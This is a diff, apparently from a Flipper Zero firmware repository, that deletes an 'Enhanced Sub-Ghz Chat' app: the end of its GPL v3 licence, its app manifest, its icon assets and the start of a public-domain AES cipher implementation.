Corresponding Source along with the object code. If the place to
|
|
||||||
copy the object code is a network server, the Corresponding Source
|
|
||||||
may be on a different server (operated by you or a third party)
|
|
||||||
that supports equivalent copying facilities, provided you maintain
|
|
||||||
clear directions next to the object code saying where to find the
|
|
||||||
Corresponding Source. Regardless of what server hosts the
|
|
||||||
Corresponding Source, you remain obligated to ensure that it is
|
|
||||||
available for as long as needed to satisfy these requirements.
|
|
||||||
|
|
||||||
e) Convey the object code using peer-to-peer transmission, provided
|
|
||||||
you inform other peers where the object code and Corresponding
|
|
||||||
Source of the work are being offered to the general public at no
|
|
||||||
charge under subsection 6d.
|
|
||||||
|
|
||||||
A separable portion of the object code, whose source code is excluded
|
|
||||||
from the Corresponding Source as a System Library, need not be
|
|
||||||
included in conveying the object code work.
|
|
||||||
|
|
||||||
A "User Product" is either (1) a "consumer product", which means any
|
|
||||||
tangible personal property which is normally used for personal, family,
|
|
||||||
or household purposes, or (2) anything designed or sold for incorporation
|
|
||||||
into a dwelling. In determining whether a product is a consumer product,
|
|
||||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
|
||||||
product received by a particular user, "normally used" refers to a
|
|
||||||
typical or common use of that class of product, regardless of the status
|
|
||||||
of the particular user or of the way in which the particular user
|
|
||||||
actually uses, or expects or is expected to use, the product. A product
|
|
||||||
is a consumer product regardless of whether the product has substantial
|
|
||||||
commercial, industrial or non-consumer uses, unless such uses represent
|
|
||||||
the only significant mode of use of the product.
|
|
||||||
|
|
||||||
"Installation Information" for a User Product means any methods,
|
|
||||||
procedures, authorization keys, or other information required to install
|
|
||||||
and execute modified versions of a covered work in that User Product from
|
|
||||||
a modified version of its Corresponding Source. The information must
|
|
||||||
suffice to ensure that the continued functioning of the modified object
|
|
||||||
code is in no case prevented or interfered with solely because
|
|
||||||
modification has been made.
|
|
||||||
|
|
||||||
If you convey an object code work under this section in, or with, or
|
|
||||||
specifically for use in, a User Product, and the conveying occurs as
|
|
||||||
part of a transaction in which the right of possession and use of the
|
|
||||||
User Product is transferred to the recipient in perpetuity or for a
|
|
||||||
fixed term (regardless of how the transaction is characterized), the
|
|
||||||
Corresponding Source conveyed under this section must be accompanied
|
|
||||||
by the Installation Information. But this requirement does not apply
|
|
||||||
if neither you nor any third party retains the ability to install
|
|
||||||
modified object code on the User Product (for example, the work has
|
|
||||||
been installed in ROM).
|
|
||||||
|
|
||||||
The requirement to provide Installation Information does not include a
|
|
||||||
requirement to continue to provide support service, warranty, or updates
|
|
||||||
for a work that has been modified or installed by the recipient, or for
|
|
||||||
the User Product in which it has been modified or installed. Access to a
|
|
||||||
network may be denied when the modification itself materially and
|
|
||||||
adversely affects the operation of the network or violates the rules and
|
|
||||||
protocols for communication across the network.
|
|
||||||
|
|
||||||
Corresponding Source conveyed, and Installation Information provided,
|
|
||||||
in accord with this section must be in a format that is publicly
|
|
||||||
documented (and with an implementation available to the public in
|
|
||||||
source code form), and must require no special password or key for
|
|
||||||
unpacking, reading or copying.
|
|
||||||
|
|
||||||
7. Additional Terms.
|
|
||||||
|
|
||||||
"Additional permissions" are terms that supplement the terms of this
|
|
||||||
License by making exceptions from one or more of its conditions.
|
|
||||||
Additional permissions that are applicable to the entire Program shall
|
|
||||||
be treated as though they were included in this License, to the extent
|
|
||||||
that they are valid under applicable law. If additional permissions
|
|
||||||
apply only to part of the Program, that part may be used separately
|
|
||||||
under those permissions, but the entire Program remains governed by
|
|
||||||
this License without regard to the additional permissions.
|
|
||||||
|
|
||||||
When you convey a copy of a covered work, you may at your option
|
|
||||||
remove any additional permissions from that copy, or from any part of
|
|
||||||
it. (Additional permissions may be written to require their own
|
|
||||||
removal in certain cases when you modify the work.) You may place
|
|
||||||
additional permissions on material, added by you to a covered work,
|
|
||||||
for which you have or can give appropriate copyright permission.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, for material you
|
|
||||||
add to a covered work, you may (if authorized by the copyright holders of
|
|
||||||
that material) supplement the terms of this License with terms:
|
|
||||||
|
|
||||||
a) Disclaiming warranty or limiting liability differently from the
|
|
||||||
terms of sections 15 and 16 of this License; or
|
|
||||||
|
|
||||||
b) Requiring preservation of specified reasonable legal notices or
|
|
||||||
author attributions in that material or in the Appropriate Legal
|
|
||||||
Notices displayed by works containing it; or
|
|
||||||
|
|
||||||
c) Prohibiting misrepresentation of the origin of that material, or
|
|
||||||
requiring that modified versions of such material be marked in
|
|
||||||
reasonable ways as different from the original version; or
|
|
||||||
|
|
||||||
d) Limiting the use for publicity purposes of names of licensors or
|
|
||||||
authors of the material; or
|
|
||||||
|
|
||||||
e) Declining to grant rights under trademark law for use of some
|
|
||||||
trade names, trademarks, or service marks; or
|
|
||||||
|
|
||||||
f) Requiring indemnification of licensors and authors of that
|
|
||||||
material by anyone who conveys the material (or modified versions of
|
|
||||||
it) with contractual assumptions of liability to the recipient, for
|
|
||||||
any liability that these contractual assumptions directly impose on
|
|
||||||
those licensors and authors.
|
|
||||||
|
|
||||||
All other non-permissive additional terms are considered "further
|
|
||||||
restrictions" within the meaning of section 10. If the Program as you
|
|
||||||
received it, or any part of it, contains a notice stating that it is
|
|
||||||
governed by this License along with a term that is a further
|
|
||||||
restriction, you may remove that term. If a license document contains
|
|
||||||
a further restriction but permits relicensing or conveying under this
|
|
||||||
License, you may add to a covered work material governed by the terms
|
|
||||||
of that license document, provided that the further restriction does
|
|
||||||
not survive such relicensing or conveying.
|
|
||||||
|
|
||||||
If you add terms to a covered work in accord with this section, you
|
|
||||||
must place, in the relevant source files, a statement of the
|
|
||||||
additional terms that apply to those files, or a notice indicating
|
|
||||||
where to find the applicable terms.
|
|
||||||
|
|
||||||
Additional terms, permissive or non-permissive, may be stated in the
|
|
||||||
form of a separately written license, or stated as exceptions;
|
|
||||||
the above requirements apply either way.
|
|
||||||
|
|
||||||
8. Termination.
|
|
||||||
|
|
||||||
You may not propagate or modify a covered work except as expressly
|
|
||||||
provided under this License. Any attempt otherwise to propagate or
|
|
||||||
modify it is void, and will automatically terminate your rights under
|
|
||||||
this License (including any patent licenses granted under the third
|
|
||||||
paragraph of section 11).
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly and
|
|
||||||
finally terminates your license, and (b) permanently, if the copyright
|
|
||||||
holder fails to notify you of the violation by some reasonable means
|
|
||||||
prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you have
|
|
||||||
received notice of violation of this License (for any work) from that
|
|
||||||
copyright holder, and you cure the violation prior to 30 days after
|
|
||||||
your receipt of the notice.
|
|
||||||
|
|
||||||
Termination of your rights under this section does not terminate the
|
|
||||||
licenses of parties who have received copies or rights from you under
|
|
||||||
this License. If your rights have been terminated and not permanently
|
|
||||||
reinstated, you do not qualify to receive new licenses for the same
|
|
||||||
material under section 10.
|
|
||||||
|
|
||||||
9. Acceptance Not Required for Having Copies.
|
|
||||||
|
|
||||||
You are not required to accept this License in order to receive or
|
|
||||||
run a copy of the Program. Ancillary propagation of a covered work
|
|
||||||
occurring solely as a consequence of using peer-to-peer transmission
|
|
||||||
to receive a copy likewise does not require acceptance. However,
|
|
||||||
nothing other than this License grants you permission to propagate or
|
|
||||||
modify any covered work. These actions infringe copyright if you do
|
|
||||||
not accept this License. Therefore, by modifying or propagating a
|
|
||||||
covered work, you indicate your acceptance of this License to do so.
|
|
||||||
|
|
||||||
10. Automatic Licensing of Downstream Recipients.
|
|
||||||
|
|
||||||
Each time you convey a covered work, the recipient automatically
|
|
||||||
receives a license from the original licensors, to run, modify and
|
|
||||||
propagate that work, subject to this License. You are not responsible
|
|
||||||
for enforcing compliance by third parties with this License.
|
|
||||||
|
|
||||||
An "entity transaction" is a transaction transferring control of an
|
|
||||||
organization, or substantially all assets of one, or subdividing an
|
|
||||||
organization, or merging organizations. If propagation of a covered
|
|
||||||
work results from an entity transaction, each party to that
|
|
||||||
transaction who receives a copy of the work also receives whatever
|
|
||||||
licenses to the work the party's predecessor in interest had or could
|
|
||||||
give under the previous paragraph, plus a right to possession of the
|
|
||||||
Corresponding Source of the work from the predecessor in interest, if
|
|
||||||
the predecessor has it or can get it with reasonable efforts.
|
|
||||||
|
|
||||||
You may not impose any further restrictions on the exercise of the
|
|
||||||
rights granted or affirmed under this License. For example, you may
|
|
||||||
not impose a license fee, royalty, or other charge for exercise of
|
|
||||||
rights granted under this License, and you may not initiate litigation
|
|
||||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
|
||||||
any patent claim is infringed by making, using, selling, offering for
|
|
||||||
sale, or importing the Program or any portion of it.
|
|
||||||
|
|
||||||
11. Patents.
|
|
||||||
|
|
||||||
A "contributor" is a copyright holder who authorizes use under this
|
|
||||||
License of the Program or a work on which the Program is based. The
|
|
||||||
work thus licensed is called the contributor's "contributor version".
|
|
||||||
|
|
||||||
A contributor's "essential patent claims" are all patent claims
|
|
||||||
owned or controlled by the contributor, whether already acquired or
|
|
||||||
hereafter acquired, that would be infringed by some manner, permitted
|
|
||||||
by this License, of making, using, or selling its contributor version,
|
|
||||||
but do not include claims that would be infringed only as a
|
|
||||||
consequence of further modification of the contributor version. For
|
|
||||||
purposes of this definition, "control" includes the right to grant
|
|
||||||
patent sublicenses in a manner consistent with the requirements of
|
|
||||||
this License.
|
|
||||||
|
|
||||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
|
||||||
patent license under the contributor's essential patent claims, to
|
|
||||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
|
||||||
propagate the contents of its contributor version.
|
|
||||||
|
|
||||||
In the following three paragraphs, a "patent license" is any express
|
|
||||||
agreement or commitment, however denominated, not to enforce a patent
|
|
||||||
(such as an express permission to practice a patent or covenant not to
|
|
||||||
sue for patent infringement). To "grant" such a patent license to a
|
|
||||||
party means to make such an agreement or commitment not to enforce a
|
|
||||||
patent against the party.
|
|
||||||
|
|
||||||
If you convey a covered work, knowingly relying on a patent license,
|
|
||||||
and the Corresponding Source of the work is not available for anyone
|
|
||||||
to copy, free of charge and under the terms of this License, through a
|
|
||||||
publicly available network server or other readily accessible means,
|
|
||||||
then you must either (1) cause the Corresponding Source to be so
|
|
||||||
available, or (2) arrange to deprive yourself of the benefit of the
|
|
||||||
patent license for this particular work, or (3) arrange, in a manner
|
|
||||||
consistent with the requirements of this License, to extend the patent
|
|
||||||
license to downstream recipients. "Knowingly relying" means you have
|
|
||||||
actual knowledge that, but for the patent license, your conveying the
|
|
||||||
covered work in a country, or your recipient's use of the covered work
|
|
||||||
in a country, would infringe one or more identifiable patents in that
|
|
||||||
country that you have reason to believe are valid.
|
|
||||||
|
|
||||||
If, pursuant to or in connection with a single transaction or
|
|
||||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
|
||||||
covered work, and grant a patent license to some of the parties
|
|
||||||
receiving the covered work authorizing them to use, propagate, modify
|
|
||||||
or convey a specific copy of the covered work, then the patent license
|
|
||||||
you grant is automatically extended to all recipients of the covered
|
|
||||||
work and works based on it.
|
|
||||||
|
|
||||||
A patent license is "discriminatory" if it does not include within
|
|
||||||
the scope of its coverage, prohibits the exercise of, or is
|
|
||||||
conditioned on the non-exercise of one or more of the rights that are
|
|
||||||
specifically granted under this License. You may not convey a covered
|
|
||||||
work if you are a party to an arrangement with a third party that is
|
|
||||||
in the business of distributing software, under which you make payment
|
|
||||||
to the third party based on the extent of your activity of conveying
|
|
||||||
the work, and under which the third party grants, to any of the
|
|
||||||
parties who would receive the covered work from you, a discriminatory
|
|
||||||
patent license (a) in connection with copies of the covered work
|
|
||||||
conveyed by you (or copies made from those copies), or (b) primarily
|
|
||||||
for and in connection with specific products or compilations that
|
|
||||||
contain the covered work, unless you entered into that arrangement,
|
|
||||||
or that patent license was granted, prior to 28 March 2007.
|
|
||||||
|
|
||||||
Nothing in this License shall be construed as excluding or limiting
|
|
||||||
any implied license or other defenses to infringement that may
|
|
||||||
otherwise be available to you under applicable patent law.
|
|
||||||
|
|
||||||
12. No Surrender of Others' Freedom.
|
|
||||||
|
|
||||||
If conditions are imposed on you (whether by court order, agreement or
|
|
||||||
otherwise) that contradict the conditions of this License, they do not
|
|
||||||
excuse you from the conditions of this License. If you cannot convey a
|
|
||||||
covered work so as to satisfy simultaneously your obligations under this
|
|
||||||
License and any other pertinent obligations, then as a consequence you may
|
|
||||||
not convey it at all. For example, if you agree to terms that obligate you
|
|
||||||
to collect a royalty for further conveying from those to whom you convey
|
|
||||||
the Program, the only way you could satisfy both those terms and this
|
|
||||||
License would be to refrain entirely from conveying the Program.
|
|
||||||
|
|
||||||
13. Use with the GNU Affero General Public License.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, you have
|
|
||||||
permission to link or combine any covered work with a work licensed
|
|
||||||
under version 3 of the GNU Affero General Public License into a single
|
|
||||||
combined work, and to convey the resulting work. The terms of this
|
|
||||||
License will continue to apply to the part which is the covered work,
|
|
||||||
but the special requirements of the GNU Affero General Public License,
|
|
||||||
section 13, concerning interaction through a network will apply to the
|
|
||||||
combination as such.
|
|
||||||
|
|
||||||
14. Revised Versions of this License.
|
|
||||||
|
|
||||||
The Free Software Foundation may publish revised and/or new versions of
|
|
||||||
the GNU General Public License from time to time. Such new versions will
|
|
||||||
be similar in spirit to the present version, but may differ in detail to
|
|
||||||
address new problems or concerns.
|
|
||||||
|
|
||||||
Each version is given a distinguishing version number. If the
|
|
||||||
Program specifies that a certain numbered version of the GNU General
|
|
||||||
Public License "or any later version" applies to it, you have the
|
|
||||||
option of following the terms and conditions either of that numbered
|
|
||||||
version or of any later version published by the Free Software
|
|
||||||
Foundation. If the Program does not specify a version number of the
|
|
||||||
GNU General Public License, you may choose any version ever published
|
|
||||||
by the Free Software Foundation.
|
|
||||||
|
|
||||||
If the Program specifies that a proxy can decide which future
|
|
||||||
versions of the GNU General Public License can be used, that proxy's
|
|
||||||
public statement of acceptance of a version permanently authorizes you
|
|
||||||
to choose that version for the Program.
|
|
||||||
|
|
||||||
Later license versions may give you additional or different
|
|
||||||
permissions. However, no additional obligations are imposed on any
|
|
||||||
author or copyright holder as a result of your choosing to follow a
|
|
||||||
later version.
|
|
||||||
|
|
||||||
15. Disclaimer of Warranty.
|
|
||||||
|
|
||||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
|
||||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
|
||||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
|
||||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
|
||||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
|
||||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
|
||||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
|
||||||
|
|
||||||
16. Limitation of Liability.
|
|
||||||
|
|
||||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
|
||||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
|
||||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
|
||||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
|
||||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
|
||||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
|
||||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
|
||||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
|
||||||
SUCH DAMAGES.
|
|
||||||
|
|
||||||
17. Interpretation of Sections 15 and 16.
|
|
||||||
|
|
||||||
If the disclaimer of warranty and limitation of liability provided
|
|
||||||
above cannot be given local legal effect according to their terms,
|
|
||||||
reviewing courts shall apply local law that most closely approximates
|
|
||||||
an absolute waiver of all civil liability in connection with the
|
|
||||||
Program, unless a warranty or assumption of liability accompanies a
|
|
||||||
copy of the Program in return for a fee.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
How to Apply These Terms to Your New Programs
|
|
||||||
|
|
||||||
If you develop a new program, and you want it to be of the greatest
|
|
||||||
possible use to the public, the best way to achieve this is to make it
|
|
||||||
free software which everyone can redistribute and change under these terms.
|
|
||||||
|
|
||||||
To do so, attach the following notices to the program. It is safest
|
|
||||||
to attach them to the start of each source file to most effectively
|
|
||||||
state the exclusion of warranty; and each file should have at least
|
|
||||||
the "copyright" line and a pointer to where the full notice is found.
|
|
||||||
|
|
||||||
<one line to give the program's name and a brief idea of what it does.>
|
|
||||||
Copyright (C) <year> <name of author>
|
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU General Public License as published by
|
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
|
||||||
(at your option) any later version.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
Also add information on how to contact you by electronic and paper mail.
|
|
||||||
|
|
||||||
If the program does terminal interaction, make it output a short
|
|
||||||
notice like this when it starts in an interactive mode:
|
|
||||||
|
|
||||||
<program> Copyright (C) <year> <name of author>
|
|
||||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
|
||||||
This is free software, and you are welcome to redistribute it
|
|
||||||
under certain conditions; type `show c' for details.
|
|
||||||
|
|
||||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
|
||||||
parts of the General Public License. Of course, your program's commands
|
|
||||||
might be different; for a GUI interface, you would use an "about box".
|
|
||||||
|
|
||||||
You should also get your employer (if you work as a programmer) or school,
|
|
||||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
|
||||||
For more information on this, and how to apply and follow the GNU GPL, see
|
|
||||||
<https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
The GNU General Public License does not permit incorporating your program
|
|
||||||
into proprietary programs. If your program is a subroutine library, you
|
|
||||||
may consider it more useful to permit linking proprietary applications with
|
|
||||||
the library. If this is what you want to do, use the GNU Lesser General
|
|
||||||
Public License instead of this License. But first, please read
|
|
||||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="esubghz_chat",
|
|
||||||
name="Enhanced Sub-Ghz Chat",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="esubghz_chat",
|
|
||||||
requires=[
|
|
||||||
"gui",
|
|
||||||
"subghz",
|
|
||||||
],
|
|
||||||
stack_size=8 * 1024,
|
|
||||||
fap_category="Sub-GHz",
|
|
||||||
fap_icon="assets/chat_10px.png",
|
|
||||||
fap_icon_assets="assets",
|
|
||||||
fap_icon_assets_symbol="esubghz_chat",
|
|
||||||
)
|
|
||||||
|
Before Width: | Height: | Size: 3.6 KiB |
|
Before Width: | Height: | Size: 159 B |
|
Before Width: | Height: | Size: 143 B |
|
Before Width: | Height: | Size: 195 B |
|
Before Width: | Height: | Size: 149 B |
|
Before Width: | Height: | Size: 146 B |
|
Before Width: | Height: | Size: 180 B |
440
applications/external/esubghz_chat/crypto/aes.c
vendored
@@ -1,440 +0,0 @@
|
|||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
|
||||||
*
|
|
||||||
* This is a simple and straightforward implementation of the AES Rijndael
|
|
||||||
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
|
|
||||||
* of this work was correctness & accuracy. It is written in 'C' without any
|
|
||||||
* particular focus upon optimization or speed. It should be endian (memory
|
|
||||||
* byte order) neutral since the few places that care are handled explicitly.
|
|
||||||
*
|
|
||||||
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
|
|
||||||
*
|
|
||||||
* It is intended for general purpose use, but was written in support of GRC's
|
|
||||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
|
||||||
*
|
|
||||||
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
|
|
||||||
*
|
|
||||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
|
||||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
|
||||||
*
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "aes.h"
|
|
||||||
|
|
||||||
static int aes_tables_inited = 0; // run-once flag for performing key
|
|
||||||
// expasion table generation (see below)
|
|
||||||
/*
|
|
||||||
* The following static local tables must be filled-in before the first use of
|
|
||||||
* the GCM or AES ciphers. They are used for the AES key expansion/scheduling
|
|
||||||
* and once built are read-only and thread safe. The "gcm_initialize" function
|
|
||||||
* must be called once during system initialization to populate these arrays
|
|
||||||
* for subsequent use by the AES key scheduler. If they have not been built
|
|
||||||
* before attempted use, an error will be returned to the caller.
|
|
||||||
*
|
|
||||||
* NOTE: GCM Encryption/Decryption does NOT REQUIRE AES decryption. Since
|
|
||||||
* GCM uses AES in counter-mode, where the AES cipher output is XORed with
|
|
||||||
* the GCM input, we ONLY NEED AES encryption. Thus, to save space AES
|
|
||||||
* decryption is typically disabled by setting AES_DECRYPTION to 0 in aes.h.
|
|
||||||
*/
|
|
||||||
// We always need our forward tables
|
|
||||||
static uchar FSb[256]; // Forward substitution box (FSb)
|
|
||||||
static uint32_t FT0[256]; // Forward key schedule assembly tables
|
|
||||||
static uint32_t FT1[256];
|
|
||||||
static uint32_t FT2[256];
|
|
||||||
static uint32_t FT3[256];
|
|
||||||
|
|
||||||
#if AES_DECRYPTION // We ONLY need reverse for decryption
|
|
||||||
static uchar RSb[256]; // Reverse substitution box (RSb)
|
|
||||||
static uint32_t RT0[256]; // Reverse key schedule assembly tables
|
|
||||||
static uint32_t RT1[256];
|
|
||||||
static uint32_t RT2[256];
|
|
||||||
static uint32_t RT3[256];
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
|
|
||||||
static uint32_t RCON[10]; // AES round constants
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Platform Endianness Neutralizing Load and Store Macro definitions
|
|
||||||
* AES wants platform-neutral Little Endian (LE) byte ordering
|
|
||||||
*/
|
|
||||||
#define GET_UINT32_LE(n, b, i) \
|
|
||||||
{ \
|
|
||||||
(n) = ((uint32_t)(b)[(i)]) | ((uint32_t)(b)[(i) + 1] << 8) | \
|
|
||||||
((uint32_t)(b)[(i) + 2] << 16) | ((uint32_t)(b)[(i) + 3] << 24); \
|
|
||||||
}
|
|
||||||
|
|
||||||
#define PUT_UINT32_LE(n, b, i) \
|
|
||||||
{ \
|
|
||||||
(b)[(i)] = (uchar)((n)); \
|
|
||||||
(b)[(i) + 1] = (uchar)((n) >> 8); \
|
|
||||||
(b)[(i) + 2] = (uchar)((n) >> 16); \
|
|
||||||
(b)[(i) + 3] = (uchar)((n) >> 24); \
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* AES forward and reverse encryption round processing macros
|
|
||||||
*/
|
|
||||||
#define AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
|
|
||||||
{ \
|
|
||||||
X0 = *RK++ ^ FT0[(Y0)&0xFF] ^ FT1[(Y1 >> 8) & 0xFF] ^ FT2[(Y2 >> 16) & 0xFF] ^ \
|
|
||||||
FT3[(Y3 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X1 = *RK++ ^ FT0[(Y1)&0xFF] ^ FT1[(Y2 >> 8) & 0xFF] ^ FT2[(Y3 >> 16) & 0xFF] ^ \
|
|
||||||
FT3[(Y0 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X2 = *RK++ ^ FT0[(Y2)&0xFF] ^ FT1[(Y3 >> 8) & 0xFF] ^ FT2[(Y0 >> 16) & 0xFF] ^ \
|
|
||||||
FT3[(Y1 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X3 = *RK++ ^ FT0[(Y3)&0xFF] ^ FT1[(Y0 >> 8) & 0xFF] ^ FT2[(Y1 >> 16) & 0xFF] ^ \
|
|
||||||
FT3[(Y2 >> 24) & 0xFF]; \
|
|
||||||
}
|
|
||||||
|
|
||||||
#define AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
|
|
||||||
{ \
|
|
||||||
X0 = *RK++ ^ RT0[(Y0)&0xFF] ^ RT1[(Y3 >> 8) & 0xFF] ^ RT2[(Y2 >> 16) & 0xFF] ^ \
|
|
||||||
RT3[(Y1 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X1 = *RK++ ^ RT0[(Y1)&0xFF] ^ RT1[(Y0 >> 8) & 0xFF] ^ RT2[(Y3 >> 16) & 0xFF] ^ \
|
|
||||||
RT3[(Y2 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X2 = *RK++ ^ RT0[(Y2)&0xFF] ^ RT1[(Y1 >> 8) & 0xFF] ^ RT2[(Y0 >> 16) & 0xFF] ^ \
|
|
||||||
RT3[(Y3 >> 24) & 0xFF]; \
|
|
||||||
\
|
|
||||||
X3 = *RK++ ^ RT0[(Y3)&0xFF] ^ RT1[(Y2 >> 8) & 0xFF] ^ RT2[(Y1 >> 16) & 0xFF] ^ \
|
|
||||||
RT3[(Y0 >> 24) & 0xFF]; \
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* These macros improve the readability of the key
|
|
||||||
* generation initialization code by collapsing
|
|
||||||
* repetitive common operations into logical pieces.
|
|
||||||
*/
|
|
||||||
#define ROTL8(x) ((x << 8) & 0xFFFFFFFF) | (x >> 24)
|
|
||||||
#define XTIME(x) ((x << 1) ^ ((x & 0x80) ? 0x1B : 0x00))
|
|
||||||
#define MUL(x, y) ((x && y) ? pow[(log[x] + log[y]) % 255] : 0)
|
|
||||||
#define MIX(x, y) \
|
|
||||||
{ \
|
|
||||||
y = ((y << 1) | (y >> 7)) & 0xFF; \
|
|
||||||
x ^= y; \
|
|
||||||
}
|
|
||||||
#define CPY128 \
|
|
||||||
{ \
|
|
||||||
*RK++ = *SK++; \
|
|
||||||
*RK++ = *SK++; \
|
|
||||||
*RK++ = *SK++; \
|
|
||||||
*RK++ = *SK++; \
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* AES_INIT_KEYGEN_TABLES
|
|
||||||
*
|
|
||||||
* Fills the AES key expansion tables allocated above with their static
|
|
||||||
* data. This is not "per key" data, but static system-wide read-only
|
|
||||||
* table data. THIS FUNCTION IS NOT THREAD SAFE. It must be called once
|
|
||||||
* at system initialization to setup the tables for all subsequent use.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
void aes_init_keygen_tables(void) {
|
|
||||||
int i, x, y, z; // general purpose iteration and computation locals
|
|
||||||
int pow[256];
|
|
||||||
int log[256];
|
|
||||||
|
|
||||||
if(aes_tables_inited) return;
|
|
||||||
|
|
||||||
// fill the 'pow' and 'log' tables over GF(2^8)
|
|
||||||
for(i = 0, x = 1; i < 256; i++) {
|
|
||||||
pow[i] = x;
|
|
||||||
log[x] = i;
|
|
||||||
x = (x ^ XTIME(x)) & 0xFF;
|
|
||||||
}
|
|
||||||
// compute the round constants
|
|
||||||
for(i = 0, x = 1; i < 10; i++) {
|
|
||||||
RCON[i] = (uint32_t)x;
|
|
||||||
x = XTIME(x) & 0xFF;
|
|
||||||
}
|
|
||||||
// fill the forward and reverse substitution boxes
|
|
||||||
FSb[0x00] = 0x63;
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
RSb[0x63] = 0x00;
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
|
|
||||||
for(i = 1; i < 256; i++) {
|
|
||||||
x = y = pow[255 - log[i]];
|
|
||||||
MIX(x, y);
|
|
||||||
MIX(x, y);
|
|
||||||
MIX(x, y);
|
|
||||||
MIX(x, y);
|
|
||||||
FSb[i] = (uchar)(x ^= 0x63);
|
|
||||||
#if AES_DECRYPTION // whether AES decryption is supported
|
|
||||||
RSb[x] = (uchar)i;
|
|
||||||
#endif /* AES_DECRYPTION */
|
|
||||||
}
|
|
||||||
// generate the forward and reverse key expansion tables
|
|
||||||
for(i = 0; i < 256; i++) {
|
|
||||||
x = FSb[i];
|
|
||||||
y = XTIME(x) & 0xFF;
|
|
||||||
z = (y ^ x) & 0xFF;
|
|
||||||
|
|
||||||
FT0[i] = ((uint32_t)y) ^ ((uint32_t)x << 8) ^ ((uint32_t)x << 16) ^ ((uint32_t)z << 24);
|
|
||||||
|
|
||||||
